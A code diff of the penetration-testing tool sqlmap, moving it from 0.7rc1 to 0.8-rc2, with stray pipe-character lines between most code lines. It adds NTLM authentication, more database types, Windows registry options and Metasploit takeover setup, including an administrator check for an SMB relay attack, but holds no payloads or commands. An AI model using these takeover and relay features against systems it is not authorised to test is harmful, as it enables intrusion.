from lib.core.settings import PYVERSION
|
||||
from lib.core.settings import VERSION
|
||||
@@ -48,14 +46,26 @@ class sqlmapGenericException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapMissingDependence(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapMissingMandatoryOptionException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapMissingPrivileges(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapNoneDataException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapNotVulnerableException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapRegExprException(Exception):
|
||||
pass
|
||||
|
||||
@@ -64,22 +74,14 @@ class sqlmapSyntaxException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapUndefinedMethod(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapMissingPrivileges(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapNotVulnerableException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapThreadException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapUndefinedMethod(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapUnsupportedDBMSException(Exception):
|
||||
pass
|
||||
|
||||
@@ -107,6 +109,7 @@ exceptionsTuple = (
|
||||
sqlmapDataException,
|
||||
sqlmapFilePathException,
|
||||
sqlmapGenericException,
|
||||
sqlmapMissingDependence,
|
||||
sqlmapMissingMandatoryOptionException,
|
||||
sqlmapNoneDataException,
|
||||
sqlmapRegExprException,
|
||||
@@ -118,4 +121,4 @@ exceptionsTuple = (
|
||||
sqlmapUnsupportedDBMSException,
|
||||
sqlmapUnsupportedFeatureException,
|
||||
sqlmapValueException,
|
||||
)
|
||||
)
|
||||
+108
-49
@@ -31,8 +31,6 @@ import logging
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import time
|
||||
import urllib2
|
||||
import urlparse
|
||||
|
||||
@@ -42,8 +40,6 @@ from lib.core.common import getFileType
|
||||
from lib.core.common import parseTargetUrl
|
||||
from lib.core.common import paths
|
||||
from lib.core.common import randomRange
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import sanitizeStr
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
@@ -52,6 +48,7 @@ from lib.core.data import paths
|
||||
from lib.core.datatype import advancedDict
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.exception import sqlmapGenericException
|
||||
from lib.core.exception import sqlmapMissingDependence
|
||||
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||
from lib.core.exception import sqlmapMissingPrivileges
|
||||
from lib.core.exception import sqlmapSyntaxException
|
||||
@@ -59,6 +56,9 @@ from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
from lib.core.optiondict import optDict
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
from lib.core.settings import PGSQL_ALIASES
|
||||
from lib.core.settings import ORACLE_ALIASES
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import PLATFORM
|
||||
from lib.core.settings import SITE
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
@@ -100,7 +100,17 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
|
||||
|
||||
reqResList = fread.split("======================================================")
|
||||
|
||||
port = None
|
||||
scheme = None
|
||||
|
||||
for request in reqResList:
|
||||
if scheme is None:
|
||||
schemePort = re.search("\d\d[\:|\.]\d\d[\:|\.]\d\d\s+(http[\w]*)\:\/\/.*?\:([\d]+)", request, re.I)
|
||||
|
||||
if schemePort:
|
||||
scheme = schemePort.group(1)
|
||||
port = schemePort.group(2)
|
||||
|
||||
if not re.search ("^[\n]*(GET|POST).*?\sHTTP\/", request, re.I):
|
||||
continue
|
||||
|
||||
@@ -134,10 +144,12 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
|
||||
|
||||
getPostReq = True
|
||||
|
||||
# GET parameters
|
||||
elif "?" in line and "=" in line and ": " not in line:
|
||||
data = line
|
||||
params = True
|
||||
|
||||
# Cookie and Host headers
|
||||
elif ": " in line:
|
||||
key, value = line.split(": ", 1)
|
||||
|
||||
@@ -146,9 +158,16 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
|
||||
elif key.lower() == "host":
|
||||
host = value
|
||||
|
||||
# POST parameters
|
||||
elif method is not None and method == "POST" and "=" in line:
|
||||
data = line
|
||||
params = True
|
||||
|
||||
if getPostReq and params:
|
||||
if not url.startswith("http"):
|
||||
url = "http://%s%s" % (host, url)
|
||||
url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
|
||||
scheme = None
|
||||
port = None
|
||||
|
||||
if not kb.targetUrls or url not in addedTargetUrls:
|
||||
kb.targetUrls.add(( url, method, data, cookie ))
|
||||
@@ -252,24 +271,40 @@ def __setMetasploit():
|
||||
if not conf.osPwn and not conf.osSmb and not conf.osBof:
|
||||
return
|
||||
|
||||
debugMsg = "setting the takeover out-of-band functionality"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
msfEnvPathExists = False
|
||||
|
||||
if IS_WIN is True:
|
||||
warnMsg = "Metasploit's msfconsole and msfcli are not supported "
|
||||
warnMsg += "on the native Windows Ruby interpreter. Please "
|
||||
warnMsg += "install Metasploit, Python interpreter and sqlmap on "
|
||||
warnMsg += "Cygwin or use Linux in VMWare to use sqlmap takeover "
|
||||
warnMsg += "out-of-band features. sqlmap will now continue "
|
||||
warnMsg += "without calling any takeover feature"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
conf.osPwn = None
|
||||
conf.osSmb = None
|
||||
conf.osBof = None
|
||||
|
||||
return
|
||||
|
||||
if conf.osSmb:
|
||||
isAdmin = False
|
||||
|
||||
if "win" in PLATFORM:
|
||||
isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
|
||||
|
||||
if isinstance(isAdmin, (int, float, long)) and isAdmin == 1:
|
||||
isAdmin = True
|
||||
|
||||
elif "linux" in PLATFORM:
|
||||
if "linux" in PLATFORM or "darwin" in PLATFORM:
|
||||
isAdmin = os.geteuid()
|
||||
|
||||
if isinstance(isAdmin, (int, float, long)) and isAdmin == 0:
|
||||
isAdmin = True
|
||||
|
||||
# TODO: add support for Mac OS X
|
||||
#elif "darwin" in PLATFORM:
|
||||
# pass
|
||||
elif IS_WIN is True:
|
||||
isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
|
||||
|
||||
if isinstance(isAdmin, (int, float, long)) and isAdmin == 1:
|
||||
isAdmin = True
|
||||
|
||||
else:
|
||||
warnMsg = "sqlmap is not able to check if you are running it "
|
||||
@@ -281,24 +316,19 @@ def __setMetasploit():
|
||||
|
||||
isAdmin = True
|
||||
|
||||
if isAdmin != True:
|
||||
errMsg = "you need to run sqlmap as an administrator/root "
|
||||
if isAdmin is not True:
|
||||
errMsg = "you need to run sqlmap as an Administrator/root "
|
||||
errMsg += "user if you want to perform a SMB relay attack "
|
||||
errMsg += "because it will need to listen on a user-specified "
|
||||
errMsg += "SMB TCP port for incoming connection attempts"
|
||||
raise sqlmapMissingPrivileges, errMsg
|
||||
|
||||
debugMsg = "setting the out-of-band functionality"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
msfEnvPathExists = False
|
||||
|
||||
if conf.msfPath:
|
||||
condition = os.path.exists(os.path.normpath(conf.msfPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfcli" % conf.msfPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % conf.msfPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfencode" % conf.msfPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfpayload" % conf.msfPath))
|
||||
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfcli")))
|
||||
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfconsole")))
|
||||
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfencode")))
|
||||
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfpayload")))
|
||||
|
||||
if condition:
|
||||
debugMsg = "provided Metasploit Framework 3 path "
|
||||
@@ -326,17 +356,18 @@ def __setMetasploit():
|
||||
|
||||
envPaths = os.environ["PATH"]
|
||||
|
||||
if "win" in PLATFORM:
|
||||
if IS_WIN is True:
|
||||
envPaths = envPaths.split(";")
|
||||
else:
|
||||
envPaths = envPaths.split(":")
|
||||
|
||||
for envPath in envPaths:
|
||||
envPath = envPath.replace(";", "")
|
||||
condition = os.path.exists(os.path.normpath(envPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfcli" % envPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % envPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfencode" % envPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfpayload" % envPath))
|
||||
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfcli")))
|
||||
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfconsole")))
|
||||
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfencode")))
|
||||
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfpayload")))
|
||||
|
||||
if condition:
|
||||
infoMsg = "Metasploit Framework 3 has been found "
|
||||
@@ -433,8 +464,10 @@ def __setDBMS():
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.dbms = conf.dbms.lower()
|
||||
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||
"|".join([alias for alias in MYSQL_ALIASES]))
|
||||
firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||
"|".join([alias for alias in MYSQL_ALIASES]),
|
||||
"|".join([alias for alias in PGSQL_ALIASES]),
|
||||
"|".join([alias for alias in ORACLE_ALIASES]))
|
||||
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
|
||||
|
||||
if dbmsRegExp:
|
||||
@@ -465,8 +498,6 @@ def __setHTTPProxy():
|
||||
if not conf.proxy:
|
||||
return
|
||||
|
||||
parseTargetUrl()
|
||||
|
||||
debugMsg = "setting the HTTP proxy to pass by all HTTP requests"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
@@ -488,8 +519,8 @@ def __setHTTPProxy():
|
||||
|
||||
# Workaround for http://bugs.python.org/issue1424152 (urllib/urllib2:
|
||||
# HTTPS over (Squid) Proxy fails) as long as HTTP over SSL requests
|
||||
# can't be tunneled over an HTTP proxy natively by Python urllib2
|
||||
# standard library
|
||||
# can't be tunneled over an HTTP proxy natively by Python (<= 2.5)
|
||||
# urllib2 standard library
|
||||
if conf.scheme == "https":
|
||||
proxyHandler = ProxyHTTPSHandler(__proxyString)
|
||||
else:
|
||||
@@ -498,7 +529,7 @@ def __setHTTPProxy():
|
||||
|
||||
def __setHTTPAuthentication():
|
||||
"""
|
||||
Check and set the HTTP authentication method (Basic or Digest),
|
||||
Check and set the HTTP authentication method (Basic, Digest or NTLM),
|
||||
username and password to perform HTTP requests with.
|
||||
"""
|
||||
|
||||
@@ -508,31 +539,29 @@ def __setHTTPAuthentication():
|
||||
return
|
||||
|
||||
elif conf.aType and not conf.aCred:
|
||||
errMsg = "you specified the HTTP Authentication type, but "
|
||||
errMsg = "you specified the HTTP authentication type, but "
|
||||
errMsg += "did not provide the credentials"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
elif not conf.aType and conf.aCred:
|
||||
errMsg = "you specified the HTTP Authentication credentials, "
|
||||
errMsg = "you specified the HTTP authentication credentials, "
|
||||
errMsg += "but did not provide the type"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
parseTargetUrl()
|
||||
|
||||
debugMsg = "setting the HTTP Authentication type and credentials"
|
||||
debugMsg = "setting the HTTP authentication type and credentials"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
aTypeLower = conf.aType.lower()
|
||||
|
||||
if aTypeLower not in ( "basic", "digest" ):
|
||||
errMsg = "HTTP Authentication type value must be "
|
||||
errMsg += "Basic or Digest"
|
||||
if aTypeLower not in ( "basic", "digest", "ntlm" ):
|
||||
errMsg = "HTTP authentication type value must be "
|
||||
errMsg += "Basic, Digest or NTLM"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred)
|
||||
|
||||
if not aCredRegExp:
|
||||
errMsg = "HTTP Authentication credentials value must be "
|
||||
errMsg = "HTTP authentication credentials value must be "
|
||||
errMsg += "in format username:password"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
@@ -544,9 +573,21 @@ def __setHTTPAuthentication():
|
||||
|
||||
if aTypeLower == "basic":
|
||||
authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr)
|
||||
|
||||
elif aTypeLower == "digest":
|
||||
authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr)
|
||||
|
||||
elif aTypeLower == "ntlm":
|
||||
try:
|
||||
from ntlm import HTTPNtlmAuthHandler
|
||||
except ImportError, _:
|
||||
errMsg = "sqlmap requires Python NTLM third-party library "
|
||||
errMsg += "in order to authenticate via NTLM, "
|
||||
errMsg += "http://code.google.com/p/python-ntlm/"
|
||||
raise sqlmapMissingDependence, errMsg
|
||||
|
||||
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(passwordMgr)
|
||||
|
||||
|
||||
def __setHTTPMethod():
|
||||
"""
|
||||
@@ -571,6 +612,9 @@ def __setHTTPMethod():
|
||||
|
||||
|
||||
def __setHTTPExtraHeaders():
|
||||
if conf.hostname:
|
||||
conf.httpHeaders.append(("Host", conf.hostname))
|
||||
|
||||
if conf.headers:
|
||||
debugMsg = "setting extra HTTP headers"
|
||||
logger.debug(debugMsg)
|
||||
@@ -597,6 +641,13 @@ def __defaultHTTPUserAgent():
|
||||
|
||||
return "%s (%s)" % (VERSION_STRING, SITE)
|
||||
|
||||
# Firefox 3 running on Ubuntu 9.04 updated at April 2009
|
||||
#return "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9"
|
||||
|
||||
# Internet Explorer 7.0 running on Windows 2003 Service Pack 2 english
|
||||
# updated at March 2009
|
||||
#return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
|
||||
|
||||
|
||||
def __setHTTPUserAgent():
|
||||
"""
|
||||
@@ -823,7 +874,7 @@ def __setKnowledgeBaseAttributes():
|
||||
kb.injType = None
|
||||
|
||||
# Back-end DBMS underlying operating system fingerprint via banner (-b)
|
||||
# parsing or when knowing the OS is mandatory (i.g. dealing with DEP)
|
||||
# parsing
|
||||
kb.os = None
|
||||
kb.osVersion = None
|
||||
kb.osSP = None
|
||||
@@ -926,7 +977,12 @@ def __mergeOptions(inputOptions):
|
||||
if inputOptions.configFile:
|
||||
configFileParser(inputOptions.configFile)
|
||||
|
||||
for key, value in inputOptions.__dict__.items():
|
||||
if hasattr(inputOptions, "items"):
|
||||
inputOptionsItems = inputOptions.items()
|
||||
else:
|
||||
inputOptionsItems = inputOptions.__dict__.items()
|
||||
|
||||
for key, value in inputOptionsItems:
|
||||
if not conf.has_key(key) or conf[key] == None or value != None:
|
||||
conf[key] = value
|
||||
|
||||
@@ -943,6 +999,9 @@ def init(inputOptions=advancedDict()):
|
||||
__setConfAttributes()
|
||||
__setKnowledgeBaseAttributes()
|
||||
__cleanupOptions()
|
||||
|
||||
parseTargetUrl()
|
||||
|
||||
__setHTTPTimeout()
|
||||
__setHTTPCookies()
|
||||
__setHTTPReferer()
|
||||
|
||||
+26
-9
@@ -29,7 +29,7 @@ optDict = {
|
||||
"Target": {
|
||||
"url": "string",
|
||||
"list": "string",
|
||||
"googleDork": "string",
|
||||
"googleDork": "string"
|
||||
},
|
||||
|
||||
"Request": {
|
||||
@@ -45,7 +45,7 @@ optDict = {
|
||||
"proxy": "string",
|
||||
"threads": "integer",
|
||||
"delay": "float",
|
||||
"timeout": "float",
|
||||
"timeout": "float"
|
||||
},
|
||||
|
||||
"Injection": {
|
||||
@@ -57,7 +57,7 @@ optDict = {
|
||||
"string": "string",
|
||||
"regexp": "string",
|
||||
"eString": "string",
|
||||
"eRegexp": "string",
|
||||
"eRegexp": "string"
|
||||
},
|
||||
|
||||
"Techniques": {
|
||||
@@ -65,11 +65,11 @@ optDict = {
|
||||
"timeTest": "boolean",
|
||||
"unionTest": "boolean",
|
||||
"uTech": "string",
|
||||
"unionUse": "boolean",
|
||||
"unionUse": "boolean"
|
||||
},
|
||||
|
||||
"Fingerprint": {
|
||||
"extensiveFp": "boolean",
|
||||
"extensiveFp": "boolean"
|
||||
},
|
||||
|
||||
"Enumeration": {
|
||||
@@ -92,14 +92,21 @@ optDict = {
|
||||
"excludeSysDbs": "boolean",
|
||||
"limitStart": "integer",
|
||||
"limitStop": "integer",
|
||||
"firstChar": "integer",
|
||||
"lastChar": "integer",
|
||||
"query": "string",
|
||||
"sqlShell": "boolean",
|
||||
"sqlShell": "boolean"
|
||||
},
|
||||
|
||||
"User-defined function": {
|
||||
"udfInject": "boolean",
|
||||
"shLib": "string"
|
||||
},
|
||||
|
||||
"File system": {
|
||||
"rFile": "string",
|
||||
"wFile": "string",
|
||||
"dFile": "string",
|
||||
"dFile": "string"
|
||||
},
|
||||
|
||||
"Takeover": {
|
||||
@@ -110,7 +117,17 @@ optDict = {
|
||||
"osBof": "boolean",
|
||||
"privEsc": "boolean",
|
||||
"msfPath": "string",
|
||||
"tmpPath": "string",
|
||||
"tmpPath": "string"
|
||||
},
|
||||
|
||||
"Windows": {
|
||||
"regRead": "boolean",
|
||||
"regAdd": "boolean",
|
||||
"regDel": "boolean",
|
||||
"regKey": "string",
|
||||
"regVal": "string",
|
||||
"regData": "string",
|
||||
"regType": "string"
|
||||
},
|
||||
|
||||
"Miscellaneous": {
|
||||
@@ -119,6 +136,6 @@ optDict = {
|
||||
"updateAll": "boolean",
|
||||
"sessionFile": "string",
|
||||
"batch": "boolean",
|
||||
"cleanup": "boolean",
|
||||
"cleanup": "boolean"
|
||||
},
|
||||
}
|
||||
|
||||
@@ -32,6 +32,7 @@ boolean and _outputfile variable used in genutils.
|
||||
import sys
|
||||
|
||||
from lib.core.data import logger
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import PLATFORM
|
||||
|
||||
|
||||
@@ -49,7 +50,7 @@ except ImportError:
|
||||
except ImportError:
|
||||
haveReadline = False
|
||||
|
||||
if 'win' in PLATFORM and haveReadline:
|
||||
if IS_WIN is True and haveReadline:
|
||||
try:
|
||||
_outputfile=_rl.GetOutputFile()
|
||||
except AttributeError:
|
||||
|
||||
+20
-29
@@ -34,6 +34,8 @@ from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
from lib.core.settings import PGSQL_ALIASES
|
||||
from lib.core.settings import ORACLE_ALIASES
|
||||
|
||||
|
||||
def setString():
|
||||
@@ -133,8 +135,10 @@ def setDbms(dbms):
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms))
|
||||
|
||||
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||
"|".join([alias for alias in MYSQL_ALIASES]))
|
||||
firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||
"|".join([alias for alias in MYSQL_ALIASES]),
|
||||
"|".join([alias for alias in PGSQL_ALIASES]),
|
||||
"|".join([alias for alias in ORACLE_ALIASES]))
|
||||
dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I)
|
||||
|
||||
if dbmsRegExp:
|
||||
@@ -183,7 +187,7 @@ def setOs():
|
||||
elif "sp" not in kb.bannerFp and kb.os == "Windows":
|
||||
kb.osSP = 0
|
||||
|
||||
if kb.os and kb.osVersion:
|
||||
if kb.os and kb.osVersion and kb.osSP:
|
||||
infoMsg += " Service Pack %d" % kb.osSP
|
||||
|
||||
if infoMsg:
|
||||
@@ -256,17 +260,6 @@ def setRemoteTempPath():
|
||||
dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath))
|
||||
|
||||
|
||||
def setDEP():
|
||||
condition = (
|
||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("DEP") )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][DEP][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.dep))
|
||||
|
||||
|
||||
|
||||
def resumeConfKb(expression, url, value):
|
||||
if expression == "String" and url == conf.url:
|
||||
string = value[:-1]
|
||||
@@ -368,20 +361,23 @@ def resumeConfKb(expression, url, value):
|
||||
logger.info(logMsg)
|
||||
|
||||
elif expression == "DBMS" and url == conf.url:
|
||||
dbms = value[:-1]
|
||||
dbms = value[:-1]
|
||||
dbms = dbms.lower()
|
||||
dbmsVersion = None
|
||||
|
||||
logMsg = "resuming back-end DBMS '%s' " % dbms
|
||||
logMsg += "from session file"
|
||||
logger.info(logMsg)
|
||||
|
||||
dbms = dbms.lower()
|
||||
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||
"|".join([alias for alias in MYSQL_ALIASES]))
|
||||
firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||
"|".join([alias for alias in MYSQL_ALIASES]),
|
||||
"|".join([alias for alias in PGSQL_ALIASES]),
|
||||
"|".join([alias for alias in ORACLE_ALIASES]))
|
||||
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms)
|
||||
|
||||
if dbmsRegExp:
|
||||
dbms = dbmsRegExp.group(1)
|
||||
kb.dbmsVersion = [ dbmsRegExp.group(2) ]
|
||||
dbms = dbmsRegExp.group(1)
|
||||
dbmsVersion = [ dbmsRegExp.group(2) ]
|
||||
|
||||
if conf.dbms and conf.dbms.lower() != dbms:
|
||||
message = "you provided '%s' as back-end DBMS, " % conf.dbms
|
||||
@@ -392,9 +388,11 @@ def resumeConfKb(expression, url, value):
|
||||
test = readInput(message, default="N")
|
||||
|
||||
if not test or test[0] in ("n", "N"):
|
||||
conf.dbms = dbms
|
||||
conf.dbms = dbms
|
||||
kb.dbmsVersion = dbmsVersion
|
||||
else:
|
||||
conf.dbms = dbms
|
||||
conf.dbms = dbms
|
||||
kb.dbmsVersion = dbmsVersion
|
||||
|
||||
elif expression == "OS" and url == conf.url:
|
||||
os = value[:-1]
|
||||
@@ -451,10 +449,3 @@ def resumeConfKb(expression, url, value):
|
||||
logMsg = "resuming remote absolute path of temporary "
|
||||
logMsg += "files directory '%s' from session file" % conf.tmpPath
|
||||
logger.info(logMsg)
|
||||
|
||||
elif expression == "DEP" and url == conf.url:
|
||||
kb.dep = value[:-1]
|
||||
|
||||
logMsg = "resuming DEP system policy value '%s' " % kb.dep
|
||||
logMsg += "from session file"
|
||||
logger.info(logMsg)
|
||||
|
||||
@@ -25,12 +25,12 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
|
||||
# sqlmap version and site
|
||||
VERSION = "0.7rc1"
|
||||
VERSION = "0.8-rc2"
|
||||
VERSION_STRING = "sqlmap/%s" % VERSION
|
||||
SITE = "http://sqlmap.sourceforge.net"
|
||||
|
||||
@@ -47,6 +47,7 @@ LOGGER.addHandler(LOGGER_HANDLER)
|
||||
LOGGER.setLevel(logging.WARN)
|
||||
|
||||
# System variables
|
||||
IS_WIN = subprocess.mswindows
|
||||
PLATFORM = sys.platform.lower()
|
||||
PYVERSION = sys.version.split()[0]
|
||||
|
||||
|
||||
+2
-2
@@ -73,8 +73,8 @@ class CompleterNG(rlcompleter.Completer):
|
||||
matches = []
|
||||
n = len(text)
|
||||
|
||||
for list in [ self.namespace ]:
|
||||
for word in list:
|
||||
for ns in [ self.namespace ]:
|
||||
for word in ns:
|
||||
if word[:n] == text:
|
||||
matches.append(word)
|
||||
|
||||
|
||||
@@ -24,17 +24,21 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import fcntl
|
||||
import errno
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
|
||||
from lib.core.settings import IS_WIN
|
||||
|
||||
if (sys.hexversion >> 16) >= 0x202:
|
||||
FCNTL = fcntl
|
||||
else:
|
||||
import FCNTL
|
||||
|
||||
if IS_WIN is not True:
|
||||
import fcntl
|
||||
|
||||
if (sys.hexversion >> 16) >= 0x202:
|
||||
FCNTL = fcntl
|
||||
else:
|
||||
import FCNTL
|
||||
|
||||
|
||||
def blockingReadFromFD(fd):
|
||||
@@ -84,6 +88,7 @@ def setNonBlocking(fd):
|
||||
Make a file descriptor non-blocking
|
||||
"""
|
||||
|
||||
flags = fcntl.fcntl(fd, FCNTL.F_GETFL)
|
||||
flags = flags | os.O_NONBLOCK
|
||||
fcntl.fcntl(fd, FCNTL.F_SETFL, flags)
|
||||
if IS_WIN is not True:
|
||||
flags = fcntl.fcntl(fd, FCNTL.F_GETFL)
|
||||
flags = flags | os.O_NONBLOCK
|
||||
fcntl.fcntl(fd, FCNTL.F_SETFL, flags)
|
||||
|
||||
+31
-29
@@ -25,13 +25,11 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
import os
|
||||
import re
|
||||
import time
|
||||
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import paramToDict
|
||||
from lib.core.common import parseTargetUrl
|
||||
from lib.core.common import readInput
|
||||
from lib.core.convert import urldecode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
@@ -119,7 +117,12 @@ def __setOutputResume():
|
||||
Check and set the output text file and the resume functionality.
|
||||
"""
|
||||
|
||||
if conf.sessionFile and os.path.exists(conf.sessionFile):
|
||||
if not conf.sessionFile:
|
||||
conf.sessionFile = "%s%ssession" % (conf.outputPath, os.sep)
|
||||
|
||||
logger.info("using '%s' as session file" % conf.sessionFile)
|
||||
|
||||
if os.path.exists(conf.sessionFile):
|
||||
readSessionFP = open(conf.sessionFile, "r")
|
||||
lines = readSessionFP.readlines()
|
||||
|
||||
@@ -157,13 +160,12 @@ def __setOutputResume():
|
||||
|
||||
readSessionFP.close()
|
||||
|
||||
if conf.sessionFile:
|
||||
try:
|
||||
conf.sessionFP = open(conf.sessionFile, "a")
|
||||
dataToSessionFile("\n[%s]\n" % time.strftime("%X %x"))
|
||||
except IOError:
|
||||
errMsg = "unable to write on the session file specified"
|
||||
raise sqlmapFilePathException, errMsg
|
||||
try:
|
||||
conf.sessionFP = open(conf.sessionFile, "a")
|
||||
dataToSessionFile("\n[%s]\n" % time.strftime("%X %x"))
|
||||
except IOError:
|
||||
errMsg = "unable to write on the session file specified"
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
|
||||
def __createFilesDir():
|
||||
@@ -194,6 +196,25 @@ def __createDumpDir():
|
||||
os.makedirs(conf.dumpPath, 0755)
|
||||
|
||||
|
||||
def createTargetDirs():
|
||||
"""
|
||||
Create the output directory.
|
||||
"""
|
||||
|
||||
conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname)
|
||||
|
||||
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
|
||||
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
|
||||
|
||||
if not os.path.isdir(conf.outputPath):
|
||||
os.makedirs(conf.outputPath, 0755)
|
||||
|
||||
dumper.setOutputFile()
|
||||
|
||||
__createDumpDir()
|
||||
__createFilesDir()
|
||||
|
||||
|
||||
def initTargetEnv():
|
||||
"""
|
||||
Initialize target environment.
|
||||
@@ -216,22 +237,3 @@ def initTargetEnv():
|
||||
parseTargetUrl()
|
||||
__setRequestParams()
|
||||
__setOutputResume()
|
||||
|
||||
|
||||
def createTargetDirs():
|
||||
"""
|
||||
Create the output directory.
|
||||
"""
|
||||
|
||||
conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname)
|
||||
|
||||
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
|
||||
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
|
||||
|
||||
if not os.path.isdir(conf.outputPath):
|
||||
os.makedirs(conf.outputPath, 0755)
|
||||
|
||||
dumper.setOutputFile()
|
||||
|
||||
__createDumpDir()
|
||||
__createFilesDir()
|
||||
|
||||
+6
-3
@@ -109,12 +109,15 @@ def __updateMSSQLXML():
|
||||
servicePack = servicePack[:servicePack.index("-")]
|
||||
if "*" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("*")]
|
||||
if servicePack.startswith("+"):
|
||||
servicePack = "0%s" % servicePack
|
||||
|
||||
servicePack = servicePack.replace("\t", " ")
|
||||
servicePack = servicePack.replace(" ", " ")
|
||||
servicePack = servicePack.replace("No SP", "0")
|
||||
